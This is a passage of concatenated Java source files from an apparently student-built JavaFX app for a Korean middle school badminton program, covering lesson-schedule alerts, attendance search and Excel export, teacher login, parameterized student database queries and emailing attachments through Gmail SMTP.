Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 11회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("리시브 리턴동작 익히기");
alert.showAndWait();
}
public void handlerbtnday10Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 10회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("셔틀곡에 대한 학습하기");
alert.showAndWait();
}
public void handlerbtnday9Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 9회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("타격 집중력 기르기");
alert.showAndWait();
}
public void handlerbtnday8Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 8회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("전위 풋워크&& 풋위크 응용하기");
alert.showAndWait();
}
public void handlerbtnday7Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 7회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("후위 풋위크 배우기");
alert.showAndWait();
}
public void handlerbtnday6Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 6회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("전위 풋워크 배우기");
alert.showAndWait();
}
public void handlerbtnday5Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 5회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("타격 지점 찾기");
alert.showAndWait();
}
public void handlerbtnday4Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 4회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("라켓에 공 맞추기");
alert.showAndWait();
}
private void handlerbtnday3Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 3회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("오버헤드 스윙동작 배우기");
alert.showAndWait();
}
public void handlerbtnday2Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 2회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("라켓 그립잡기 자세");
alert.showAndWait();
}
public void handlerbtnday1Action(ActionEvent event) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("레슨 초급 1회차");
alert.setHeaderText("미래 중학교 배드민턴 초급");
alert.setContentText("배드민턴 기본 이론 && 유래");
alert.showAndWait();
}
}
<file_sep>package controller;
import java.io.File;
import java.net.URL;
import java.util.ArrayList;
import java.util.ResourceBundle;
import org.apache.xmlbeans.impl.xb.xsdschema.Public;
import javafx.scene.control.TableColumn;
import javafx.scene.control.TableView;
import Model.EnrollmentTabVO;
import Model.StudentVO;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.fxml.Initializable;
import javafx.scene.control.Alert;
import javafx.scene.control.Alert.AlertType;
import javafx.scene.control.cell.PropertyValueFactory;
import javafx.scene.input.MouseEvent;
import javafx.scene.control.Button;
import javafx.scene.control.TextField;
import javafx.stage.DirectoryChooser;
import javafx.stage.Stage;
import oracle.net.aso.a;
public class OutputTabController implements Initializable {
@FXML
private Button btnSearch;// 검색
@FXML
private Button btnList;// 새로고침
@FXML
private Button btnDelete;// 삭제
@FXML
private Button btnExcel; // 엑셀
@FXML
private Button btnSaveFileDir;// 저장폴더
@FXML
private TextField txtSaveFileDir;// 파일경로
@FXML
private TextField txtSearch;// 검색이름
@FXML
private TableView<EnrollmentTabVO> tableView = new TableView<EnrollmentTabVO>();// 출석부 테이불 뷰
ObservableList<EnrollmentTabVO> data = FXCollections.observableArrayList(); // 데이터
private Stage primaryStage;
ObservableList<EnrollmentTabVO> selectStudent;// 테이블에서 선택한 정보 저장
int no;// 삭제시 테이블에서 선택한 학생 번호 저장
int selectedindex;// 테이블에서 선텍한 학생정보 인덱스 저장
@Override
public void initialize(URL location, ResourceBundle resources) {
// 키이벤트
btnList.setOnAction(event -> handlerBtnListAction(event));// 새로고침;
btnExcel.setOnAction(event -> handlerBtnExcelFileAction(event));// 엑셀파일생성
btnSaveFileDir.setOnAction(event -> handlerBtnSaveFileDirAction(event));// 파일 저장 폴더
btnDelete.setOnAction(event -> handlerBtnDeleteAction(event));// 삭제버튼
btnSearch.setOnAction(event -> handlerBtnSearchAction(event));// 검색
tableView.setEditable(false);// 테이블뷰 수정금지
tableView.setOnMouseClicked(event -> handlerBtnPieChartAction(event));// 테이블에 선택한 정보 저장
// 학생선택
selectedindex = tableView.getSelectionModel().getSelectedIndex();
// 테이블 뷰 컬럼이름
TableColumn colS_code = new TableColumn("NO");
colS_code.setMaxWidth(40);
colS_code.setCellValueFactory(new PropertyValueFactory<>("S_code"));
TableColumn cols_Name = new TableColumn("이름");
cols_Name.setMaxWidth(70);
cols_Name.setCellValueFactory(new PropertyValueFactory<>("S_name"));
TableColumn cols_Year = new TableColumn("학년");
cols_Year.setMaxWidth(50);
cols_Year.setCellValueFactory(new PropertyValueFactory<>("S_year"));
TableColumn cols_Ban = new TableColumn("반");
cols_Ban.setMaxWidth(50);
cols_Ban.setCellValueFactory(new PropertyValueFactory<>("S_ban"));
TableColumn cols_Number = new TableColumn("출석번호");
cols_Number.setMaxWidth(80);
cols_Number.setCellValueFactory(new PropertyValueFactory<>("S_number"));
TableColumn cola_Come = new TableColumn("출석여부");
cola_Come.setMaxWidth(80);
cola_Come.setCellValueFactory(new PropertyValueFactory<>("a_come"));
TableColumn cola_Day = new TableColumn("출석날짜");
cola_Day.setMaxWidth(170);
cola_Day.setCellValueFactory(new PropertyValueFactory<>("A_day"));
tableView.getColumns().addAll(colS_code, cols_Name, cols_Year, cols_Ban, cols_Number, cola_Come, cola_Day);
// 학생 전체 정보
totalList();
tableView.setItems(data);
}
// 검색
public void handlerBtnSearchAction(ActionEvent event) {
EnrollmentTabVO eVo = new EnrollmentTabVO();
EnrollmentTabDAO eDao = null;
Object[][] totalData = null;
String searchName = "";
boolean searchResult = false;
try {
searchName = txtSearch.getText().trim();// 데이터 집어 넣기
eDao = new EnrollmentTabDAO();
eVo = eDao.getStudentCheck(searchName);// 입력한데이터 dao 에서 확인
// 검색칸 공백 확인
if (searchName.equals("")) {
searchResult = true;
Alert alert = new Alert(AlertType.ERROR);
alert.setTitle("학생 정보 검색");
alert.setHeaderText("학생 이름을 입력 하시오");
alert.setContentText("다음에 주의 하세요");
alert.showAndWait();
}
// 검색칸 공백아닌경우
if (!searchName.equals("") && (eVo != null)) {
ArrayList<String> title;
ArrayList<EnrollmentTabVO> list;
title = eDao.getColumns_Name();// 학생 테이블 갯수 넣기
int columnCount = title.size();// 데이터 넣기
list = eDao.getTotal();//학생 전체 데이터 넣기
int rowCount = list.size();//학생 갯수 넣기
totalData = new Object[rowCount][columnCount]; //배열사용
if (eVo.getS_name().equals(searchName)) {
txtSearch.clear();
data.removeAll(data);
for (int index = 0; index < rowCount; index++) {
System.out.println(index);
eVo = list.get(index);
if (eVo.getS_name().equals(searchName)) {
data.add(eVo);
searchResult = true;
}
}
}
}
if (!searchResult) {
txtSearch.clear();
Alert alert = new Alert(AlertType.ERROR);
alert.setTitle("학생 검색");
alert.setHeaderText(searchName + " 학생이 없습니다");
alert.setContentText("다시 검색 하세요");
alert.showAndWait();
}
} catch (Exception e) {
Alert alert = new Alert(AlertType.ERROR);
alert.setTitle("학생 검색 오류");
alert.setHeaderText("학생 검색 중 오류 발생 ");
alert.setContentText("다시 검색 하세요");
alert.showAndWait();
}
}
// 새로고침
public void handlerBtnListAction(ActionEvent event) {
try {
data.removeAll(data);
totalList();
} catch (Exception e) {
e.printStackTrace();
}
}
// 마우스이벤트 핸들러
public void handlerBtnPieChartAction(MouseEvent event) {
// 마우스 왼쪽 더블 클릭 카운트이면 2을 반환
// 마우스 왼쪽을 클릭이면 수정 삭제
try {
if (event.getClickCount() != 2) {
selectStudent = tableView.getSelectionModel().getSelectedItems();
no = selectStudent.get(0).getA_no();
System.out.println(no);
}
} catch (Exception e) {
Alert alert = new Alert(AlertType.ERROR);
alert.setTitle("학생 선택");
alert.setHeaderText("선택한 학생이 없습니다");
alert.setContentText("학생을 추가한후 선택하세요");
}
return;
}
// 삭제 버튼
public void handlerBtnDeleteAction(ActionEvent event) {
EnrollmentTabDAO eDao = null;
eDao = new EnrollmentTabDAO();
try {
eDao.getStudentDelete(no);
data.removeAll(data);
// 학생 전체 정보
totalList();
// handlerBtnInitAction(event);
} catch (Exception e) {
e.printStackTrace();
}
}
// 파일 저장 폴더
public void handlerBtnSaveFileDirAction(ActionEvent event) {
final DirectoryChooser directoryChooser = new DirectoryChooser();
final File selectedDirectory = directoryChooser.showDialog(primaryStage);
if (selectedDirectory != null) {
txtSaveFileDir.setText(selectedDirectory.getAbsolutePath());
btnExcel.setDisable(false);
}
}
// 엑셀 파일 생성
public void handlerBtnExcelFileAction(ActionEvent event) {
EnrollmentTabDAO sDao = new EnrollmentTabDAO();
boolean saveSuccess;
ArrayList<EnrollmentTabVO> list;
list = sDao.getTotal();
StudentExcel excelWriter = new StudentExcel();
// xlsx 파일 쓰기
saveSuccess = excelWriter.xlsxWiter(list, txtSaveFileDir.getText());
if (saveSuccess) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("엑셀 파일 생성");
alert.setHeaderText("학생 목록 엑셀 파일 생성 성공");
alert.setContentText("학생 목록 엑셀 파일");
alert.showAndWait();
}
}
// 학셍 전체 리스트
public void totalList() {
Object[][] totalData;
EnrollmentTabDAO eDao = new EnrollmentTabDAO();
EnrollmentTabVO eVo = null;
ArrayList<String> title;
ArrayList<EnrollmentTabVO> list;
title = eDao.getColumns_Name();
int columnCount = title.size();
list = eDao.getTotal();// 학생등록 출석부 등록된 학생만 검색 해서 출력
int rowCount = list.size();
totalData = new Object[rowCount][columnCount];
for (int index = 0; index < rowCount; index++) {
eVo = list.get(index);
data.add(eVo);
}
}
}
<file_sep>#Mon May 20 08:45:18 KST 2019
org.eclipse.core.runtime=2
org.eclipse.platform=4.10.0.v20181206-0815
<file_sep>package controller;
import java.io.IOException;
import java.net.URL;
import java.util.ResourceBundle;
import javafx.fxml.Initializable;
import javafx.application.Platform;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.Alert;
import javafx.scene.control.Button;
import javafx.scene.control.TextField;
import javafx.scene.input.KeyCode;
import javafx.scene.input.KeyEvent;
import javafx.stage.Stage;
import javafx.scene.control.Alert.AlertType;
import javafx.scene.control.PasswordField;
public class LoginController implements Initializable {
@FXML
private TextField txtId; // 아이디
@FXML
private PasswordField txtPw; // 비밀번호
@FXML
private Button btnExit; // 닫기
@FXML
private Button btnLogin; // 로그인
@FXML
private Button btnTeacher; // 선생님등록
public static String teacherName; // 담당선생님
public static String subjectName; // 담당 과목
public static String dayName; // 수업요일
@Override
public void initialize(URL arg0, ResourceBundle arg1) {
txtId.setOnKeyPressed(event -> handerTxtIdKeyPressed(event)); // 아이디 입력에서 enter 키 이벤트 적용
txtPw.setOnKeyPressed(event -> handerTxtPasswordKeyPressed(event)); // 패스원드 입력 에서 enter 키 이벤트
btnTeacher.setOnAction(event -> handerBtnJoinAction(event)); // 선생님 등록창 으로 전환
btnLogin.setOnAction(event -> handlerBtnLoginActoion(event)); // 로그인
btnExit.setOnAction(event -> handlerBtnCancelActoion(event)); // 로그인창 닫기
}
// 아이디 입력에서 Enter키 이벤트 적용
public void handerTxtIdKeyPressed(KeyEvent event) {
if (event.getCode() == KeyCode.ENTER) {
txtPw.requestFocus();
}
}
// 패스워드 입력에서 Enter키 이벤트
public void handerTxtPasswordKeyPressed(KeyEvent event) {
if (event.getCode() == KeyCode.ENTER) {
login();
}
}
// 선생님 등록창 전환
public void handerBtnJoinAction(ActionEvent event) {
try {
FXMLLoader loader = new FXMLLoader(getClass().getResource("/View/joinView.fxml"));//선생님 등록창으로 이동
Parent mainView = (Parent) loader.load();//mainView
Scene scane = new Scene(mainView);//scane 객체 생성
Stage mainMtage = new Stage();//mainMtage 객체 생성
mainMtage.setTitle("관리 선생님 등록");//제목이 관리선생님인 등록 창으로 감
mainMtage.setScene(scane);//mainMtage를 보여준다.
Stage oldStage = (Stage) btnLogin.getScene().getWindow();//로그인버튼을 누르면 스테이지 이동
oldStage.close();//oldStage를 닫음
mainMtage.show();//mainMtage를 보여줌
}
//실패 할때
catch (IOException e) {
System.err.println("오류" + e);
}
}
// 로그인 창 닫기
public void handlerBtnCancelActoion(ActionEvent event) {
Platform.exit();
}
// 로그인
public void handlerBtnLoginActoion(ActionEvent event) {
login();
}
// 로그인 메소드
public void login() {
LoginDAO login = new LoginDAO();// login 객체 생성
boolean sucess = false; //sucess false로 선언
try {
teacherName = loginName(); // 담당선생님
subjectName = loginName1(); // 담당과목명
// teacherName=txtId.getText();
sucess = login.getLogin(txtId.getText().trim(), txtPw.getText().trim());//텍스트 id 값과 텍스트 pw값을 얻어와서 로그인을 성공시킨다.
//실패할때 오류발생
} catch (Exception e1) {
e1.printStackTrace();
}
//알림창 로그인에 실패할때
Alert alert;
if (txtId.getText().equals("") || txtPw.getText().equals("")) {
alert = new Alert(AlertType.WARNING);
alert.setTitle("로그인 실패");
alert.setHeaderText("아이디 비밀번호 미입력");
alert.setContentText("아이디 비밀번호중 미입력 이있습니다." + "\n 다시 입력 하세요.");
alert.setResizable(false);
alert.showAndWait();
}
// 로그인 성공시 메인 페이지 이동
if (sucess) {
try {
FXMLLoader loader = new FXMLLoader(getClass().getResource("/View/mainView.fxml"));//로그인이 성공되면 메인(학생등록창으로) 이동
Parent mainView = (Parent) loader.load();// mainView
Scene scane = new Scene(mainView); //scane 객체 생성
Stage mainMtage = new Stage();//mainMtage 객체 생성
mainMtage.setTitle("미래 방과후 중학생 관리");
mainMtage.setResizable(false);
mainMtage.setScene(scane);
Stage oldStage = (Stage) btnLogin.getScene().getWindow();//로그인 버튼 누르면 스테이지 이동
oldStage.close();//oldStage를 닫음
mainMtage.show();//mainMtage를 보여줌
} catch (IOException e) {
System.err.println("오류 " + e);
}
} else {
// 아이디 패스워드 확인 창
alert = new Alert(AlertType.WARNING);
alert.setTitle("로그인 실패");
alert.setHeaderText("아이디 비밀번호 불일치");
alert.setContentText("아이디 비밀번호 불일치." + "\n 다시 입력 하세요.");
alert.setResizable(false);
alert.showAndWait();
txtId.clear();//텍스트 id 값 초기화
txtPw.clear();//텍스트 pw 값 초기화
}
}
// 선생님이름 불러오기
public String loginName() {
LoginDAO ldao = new LoginDAO();//ldao 객체 생성
String name = null; //이름 null값으로 선언
try {
name = ldao.getLoginName(txtId.getText()); //LoginDAO에서 텍스트 아이디를 가져옴
} catch (Exception e) {
e.printStackTrace();
}
return name;
}
// 선생님과목 불러오기 이름 변경할것
public String loginName1() {
LoginDAO ldao = new LoginDAO(); //ldao 객체 생성
String name = null; //이름 null값으로 선언
try {
name = ldao.getLoginName1(txtId.getText());//LoginDAO에서 텍스트 아이디를 가져옴
} catch (Exception e) {
e.printStackTrace();
}
return name;
}
}
<file_sep>package controller;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.SQLException;
import java.util.ArrayList;
import Model.StudentVO;
import javafx.scene.control.Alert;
import javafx.scene.control.Alert.AlertType;
public class StudentDAO {
// 1 신규 학생 등록 테이블
public StudentVO getStudentregiste(StudentVO sVo) throws Exception {
// 2 데이터 처리를 위한 sql문
StringBuffer sql = new StringBuffer();
// 정보를 삽입하기위한 sql문
sql.append("insert into student ");
sql.append("(S_code, S_name, S_year, S_ban, " + "S_number, S_gender, S_phone , "
+ "S_emergency, S_costfree, S_time, " + "S_experience, S_level, S_startdate,"
+ "S_enddate, S_email, S_image, S_come) ");
sql.append(" values (student_seq.nextval, ?" + ", ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?,0)");
Connection con = null;
PreparedStatement pstmt = null;
StudentVO retval = null;
try {
// 3.DBUtil.getConnection()의 메소드로 데이터베이스와 연결
con = DBUtil.getConnection();
// 4.입력받은 정보를 처리하기 위해 sql문장을 생성
pstmt = con.prepareStatement(sql.toString());
pstmt.setString(1, sVo.getS_name());
pstmt.setInt(2, sVo.getS_year());
pstmt.setInt(3, sVo.getS_ban());
pstmt.setInt(4, sVo.getS_number());
pstmt.setString(5, sVo.getS_gender());
pstmt.setString(6, sVo.getS_phone());
pstmt.setString(7, sVo.getS_emergency());
pstmt.setString(8, sVo.getS_costfree());
pstmt.setInt(9, sVo.getS_time());
pstmt.setString(10, sVo.getS_experience());
pstmt.setString(11, sVo.getS_level());
pstmt.setString(12, sVo.getS_startdate());
pstmt.setString(13, sVo.getS_enddate());
pstmt.setString(14, sVo.getS_email());
pstmt.setString(15, sVo.getS_image());
// 5.sql문을 수행후 처리결과를 얻어옴
int i = pstmt.executeUpdate();
retval = new StudentVO();
} catch (SQLException e) {
System.out.println("1e=[" + e + "]");
} catch (Exception e) {
System.out.println("2e=[" + e + "]");
} finally {
try {
// 6데이터 베이스와의 연결에 사용되었던 오브젝트를 해제
if (pstmt != null)
pstmt.close();
if (con != null)
con.close();
} catch (SQLException e) {
}
}
return retval;
}
// 출석부 학생 전체 리스트
public ArrayList<StudentVO> getStudentTotal() {
ArrayList<StudentVO> list = new ArrayList<StudentVO>();
StringBuffer sql = new StringBuffer();
// 출석부 학생 리스트를 표시하기위한 sql문
sql.append("select S_code, S_name, S_year, S_ban, S_number, S_gender, ");
sql.append("S_phone, S_emergency, S_costfree, S_time, S_experience, S_level, ");
sql.append(
"S_startdate, S_enddate, S_email, S_image, S_come from student where S_come = 0 order by S_code desc");
Connection con = null;
PreparedStatement pstmt = null;
ResultSet rs = null;
StudentVO sVo = null;
try {
con = DBUtil.getConnection();// DBUtil 연결
pstmt = con.prepareStatement(sql.toString());
rs = pstmt.executeQuery();// 결과물을 rs객체를 통해서 반환
while (rs.next()) {
sVo = new StudentVO();// sVo 인스턴스화
sVo.setS_code(rs.getInt("S_code"));
sVo.setS_name(rs.getString("S_name"));
sVo.setS_year(rs.getInt("S_year"));
sVo.setS_ban(rs.getInt("S_ban"));
sVo.setS_number(rs.getInt("S_number"));
sVo.setS_gender(rs.getString("S_gender"));
sVo.setS_phone(rs.getString("S_phone"));
sVo.setS_emergency(rs.getString("S_emergency"));
sVo.setS_costfree(rs.getString("S_costfree"));
sVo.setS_time(rs.getInt("S_time"));
sVo.setS_experience(rs.getString("S_experience"));
sVo.setS_level(rs.getString("S_level"));
sVo.setS_startdate(rs.getString("S_startdate"));
sVo.setS_enddate(rs.getString("S_enddate"));
sVo.setS_email(rs.getString("S_email"));
sVo.setS_image(rs.getString("S_image"));
sVo.setS_come(rs.getInt("S_come"));
list.add(sVo);
}
} catch (SQLException se) {
System.out.println(se);
} catch (Exception e) {
System.out.println(e);
} finally {
try {
if (rs != null)
rs.close();
if (pstmt != null)
pstmt.close();
if (con != null)
con.close();
} catch (SQLException se) {
}
}
return list;
}
// 메인창 학생 전체 리스트
public ArrayList<StudentVO> getStudentTotal1() {
ArrayList<StudentVO> list = new ArrayList<StudentVO>();
StringBuffer sql = new StringBuffer();
// 테이블에 표시할 sql문
sql.append("select S_code, S_name, S_year, S_ban, S_number, S_gender, ");
sql.append("S_phone, S_emergency, S_costfree, S_time, S_experience, S_level, ");
sql.append("S_startdate, S_enddate, S_email, S_image, S_come from student order by S_code desc");
Connection con = null;
PreparedStatement pstmt = null;
ResultSet rs = null;
StudentVO sVo = null;
try {
con = DBUtil.getConnection();// DButil 연결
pstmt = con.prepareStatement(sql.toString());
rs = pstmt.executeQuery();// 결과물을 rs객체를 통해서 반환
while (rs.next()) {
sVo = new StudentVO();// sVo 인스턴스화
sVo.setS_code(rs.getInt("S_code"));
sVo.setS_name(rs.getString("S_name"));
sVo.setS_year(rs.getInt("S_year"));
sVo.setS_ban(rs.getInt("S_ban"));
sVo.setS_number(rs.getInt("S_number"));
sVo.setS_gender(rs.getString("S_gender"));
sVo.setS_phone(rs.getString("S_phone"));
sVo.setS_emergency(rs.getString("S_emergency"));
sVo.setS_costfree(rs.getString("S_costfree"));
sVo.setS_time(rs.getInt("S_time"));
sVo.setS_experience(rs.getString("S_experience"));
sVo.setS_level(rs.getString("S_level"));
sVo.setS_startdate(rs.getString("S_startdate"));
sVo.setS_enddate(rs.getString("S_enddate"));
sVo.setS_email(rs.getString("S_email"));
sVo.setS_image(rs.getString("S_image"));
list.add(sVo);
}
} catch (SQLException se) {
System.out.println(se);
} catch (Exception e) {
System.out.println(e);
}
// 연결을 해제한다
finally {
try {
if (rs != null)
rs.close();
if (pstmt != null)
pstmt.close();
if (con != null)
con.close();
} catch (SQLException se) {
}
}
return list;
}
// 데이터베이스에서 학생 테이블의 컬럼갯수
public ArrayList<String> getColumnName() {
ArrayList<String> columnName = new ArrayList<String>();
StringBuffer sql = new StringBuffer();
// 학생의 테이블 컬럼갯수를 표시하는 SQL문
sql.append("select * from student");
Connection con = null;
PreparedStatement pstmt = null;
ResultSet rs = null;
// ResultSetMetaData 객체선언
ResultSetMetaData rsmd = null;
try {
con = DBUtil.getConnection();// DButil 연결
pstmt = con.prepareStatement(sql.toString());
rs = pstmt.executeQuery();
rsmd = rs.getMetaData();
int cols = rsmd.getColumnCount();
for (int i = 1; i <= cols; i++) {
columnName.add(rsmd.getColumnName(i));
}
} catch (SQLException se) {
System.out.print(se);
} catch (Exception e) {
System.out.println(e);
}
// 연결을 해제한다
finally {
try {
if (rs != null)
rs.close();
if (pstmt != null)
pstmt.close();
if (con != null)
con.close();
} catch (SQLException se) {
}
}
return columnName;
}
// 선택한 한생의 점수 수정
public StudentVO getStudentUpdate(StudentVO sVo, int s_code) throws Exception {
// 2 데이터처리를 위한 sql문
StringBuffer sql = new StringBuffer();
//수정을 위한 sql문
sql.append("update student set");
sql.append(" S_name=?, S_year=?, S_ban=?, S_number=?, S_phone=? ");
sql.append(" where s_code = ?");
Connection con = null;
PreparedStatement pstmt = null;
StudentVO retval = null;
try {
// 3. DBUtil 이라는 클래스의 getConnection()메서드로 데이터베이스와 연결
con = DBUtil.getConnection();
// 4. 수정한 학생 정보를 수정하기 위하여 sql문장을 생성
pstmt = con.prepareStatement(sql.toString());
pstmt.setString(1, sVo.getS_name());
pstmt.setInt(2, sVo.getS_year());
pstmt.setInt(3, sVo.getS_ban());
pstmt.setInt(4, sVo.getS_number());
pstmt.setString(5, sVo.getS_phone());
pstmt.setInt(6, sVo.getS_code());
// 5 sql문을 수행후 처리 결과를 얻어옴
int i = pstmt.executeUpdate();
if (i==1) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("학생 정보 수정");
alert.setHeaderText("학생 정보 수정 완료!");
alert.setContentText("학생 정보 수정 완료!!");
alert.showAndWait();
//retval = new StudentVO();
} else {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("학생 정보 수정");
alert.setHeaderText("학생 정보 수정 실패!");
alert.setContentText("학생 정보 수정 실패!!");
alert.showAndWait();
}
} catch (SQLException e) {
System.out.println("e=[" + e + "]");
} catch (Exception e) {
System.out.println("e=[" + e + "]");
} finally {
try {
// 6 데이터베이스와 연결에 사용되었던 오브젝트를 해제
if (pstmt != null)
pstmt.close();
if (con != null)
con.close();
} catch (SQLException e) {
}
}
return retval;
}
//학생삭제
public void getStudentDelete(int s_Code) throws Exception {
// 2 데이터 처리를 위한 sql문
StringBuffer sql = new StringBuffer();
//학생삭제를 위한 sql문
sql.append("delete from student where s_code = ?");
Connection con = null;
PreparedStatement pstmt = null;
try {
// 3 DButil 이라는 클래스의 getConnection()메서드로 데이터베이스 연결
con = DBUtil.getConnection();
// sql문 수행후 처리결과를 얻어옴
pstmt = con.prepareStatement(sql.toString());
pstmt.setInt(1, s_Code);
// sql문을 수행후 처리결과를 얻어옴
int i = pstmt.executeUpdate();
if (i == 1) {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("학생 삭제");
alert.setHeaderText("학생 삭제 완료");
alert.setContentText("학생 삭제 완료!!");
alert.showAndWait();
} else {
Alert alert = new Alert(AlertType.INFORMATION);
alert.setTitle("학생 삭제");
alert.setHeaderText("학생 삭제 실패");
alert.setContentText("학생 삭제 실패!!");
alert.showAndWait();
}
} catch (SQLException e) {
Alert alert = new Alert(AlertType.ERROR);
alert.setTitle("오류");
alert.setHeaderText("학생 삭제를 하실라면 먼저 출석부에서 삭제를 하세요");
alert.setContentText("학생 삭제 오류");
alert.showAndWait();
} catch (Exception e) {
System.out.println("4e=[" + e + "]");
} finally {
try {
// 데이터 베이스와의 연결에 사용되었던 오브젝트를 해제
if (pstmt != null)
pstmt.close();
if (con != null)
con.close();
} catch (SQLException e) {
}
}
}
}<file_sep>package controller;
import java.io.File;
import java.io.IOException;
import java.net.URL;
import java.util.ResourceBundle;
import org.apache.commons.mail.EmailAttachment;
import org.apache.commons.mail.MultiPartEmail;
import org.apache.log4j.Logger;
import javafx.application.Platform;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.fxml.FXMLLoader;
import javafx.fxml.Initializable;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.Alert;
import javafx.scene.control.Alert.AlertType;
import javafx.scene.control.Button;
import javafx.scene.control.PasswordField;
import javafx.scene.control.TextArea;
import javafx.scene.control.TextField;
import javafx.stage.FileChooser.ExtensionFilter;
import javafx.stage.FileChooser;
import javafx.stage.Stage;
public class EmailController implements Initializable {
private static Logger logger = Logger.getLogger(MainController.class);
@FXML
TextField txtId; // 아이디
@FXML
PasswordField txtPass; // <PASSWORD>
@FXML
TextField txtToAddr; // 받는사람 이메일
@FXML
TextField txtToName; // 받는사람 이름
@FXML
TextField txtFromAddr; // 보내는사람 이메일
@FXML
TextField txtFromName; // 보내는사람 이름
@FXML
Button btnSend; // 전송
@FXML
Button btnClear; // 동기화
@FXML
Button btnExir; // 닫기
@FXML
TextField txtTitle; // 메일제목
@FXML
TextField txtFileAddr; // 첨부파일
@FXML
TextArea txtContents; // 메일내용
@FXML
Button btnAttachFile; // 파일첨부
Stage stage = new Stage();
@Override
public void initialize(URL location, ResourceBundle resources) {
// 버튼 이벤트 걸기
btnSend.setOnAction(event -> sendEmail(event));// 전송
btnClear.setOnAction(event -> Clear(event));// 동기화
btnExir.setOnAction(event -> handlerBtnExirActoion(event));// 종료
btnAttachFile.setOnAction(event -> open_ac(event));// 파일첨부
}
// 닫기
public void handlerBtnExirActoion(ActionEvent event) {
try {
FXMLLoader loader = new FXMLLoader(getClass().getResource("/view/mainView.fxml"));
Parent mainView = (Parent) loader.load();
Scene scane = new Scene(mainView);
Stage mainMtage = new Stage();
Stage oldStage = (Stage) btnExir.getScene().getWindow();
oldStage.close();
mainMtage.setScene(scane);
mainMtage.show();
} catch (IOException e) {
System.err.println("오류 " + e);
}
}
// 첨부 파일 메소드
public void open_ac(ActionEvent event) {
// 파일 chooser 생성
FileChooser file = new FileChooser();
file.getExtensionFilters().addAll(new ExtensionFilter("Text Files", "*.txt"),
new ExtensionFilter("Image File", "*.png", "*.jpg", ".gif"),
new ExtensionFilter("Audio File", "*.wav", "*.mp3", ".aac"), new ExtensionFilter("All Files", "*.*"));
File selectedFile = file.showOpenDialog(stage);
if (selectedFile != null) {
txtFileAddr.setText(selectedFile.getPath());
}
}
// 동기화
public void Clear(ActionEvent event) {
txtFileAddr.setText("");
txtFromAddr.setText("");
txtFromName.setText("");
txtId.setText("");
txtPass.setText("");
txtContents.setText("");
txtToName.setText("");
txtToAddr.setText("");
txtTitle.setText("");
}
// 보내는 메소드
public void sendEmail(ActionEvent event) {
long beginTime = System.currentTimeMillis();
String rt = "Failure";
try {
// 첨부파일 생성을 위한 이메일 객체 생성
EmailAttachment attach = new EmailAttachment();
attach.setDescription("첨부 파일");
attach.setName("");
attach.setPath(txtFileAddr.getText());
// 인스턴스
MultiPartEmail email = new MultiPartEmail();
// smtp 서버 연결 설정
email.setHostName("smtp.gmail.com");
email.setSmtpPort(587);
email.setAuthentication(txtId.getText(), txtPass.getText());
email.setSSL(true);
email.setTLS(true);
// 받는사람
email.addTo(txtToAddr.getText(), txtToName.getText(), "utf-8");
// 받는사람
email.setFrom(txtFromAddr.getText(), txtFromName.getText(), "utf-8");
email.setSubject(txtTitle.getText());// 제목
email.setMsg(txtContents.getText());// 본문
email.attach(attach);// 첨부파일 추가
rt = email.send();
Alert alert = new Alert(AlertType.WARNING);
alert.setTitle("메일 전송 완료");
alert.setHeaderText("메일 전송 성공");
alert.setContentText("메일 전송을 완료 했습니다");
alert.showAndWait();
cancel_ac(event); // 초기화
} catch (Exception e) {
Alert alert = new Alert(AlertType.WARNING);
alert.setTitle("메일 전송 실패");
alert.setHeaderText("구글아이디 비번을 정확히 입력 하세요");
alert.setContentText("메일 전송 실패");
alert.showAndWait();
logger.warn("Error", e);
}
long execTime = System.currentTimeMillis() - beginTime;
logger.info("exec time = " + execTime + " ms");
logger.info("RT Msg = " + rt);
}
private void cancel_ac(ActionEvent event) {
txtFileAddr.setText("");
txtFromAddr.setText("");
txtFromName.setText("");
txtId.setText("");
txtTitle.setText("");
txtPass.setText("");
txtContents.setText("");
txtToName.setText("");
txtToAddr.setText("");
}
}
<file_sep>create table attendane( --출석부
a_no NUMBER(10), --no
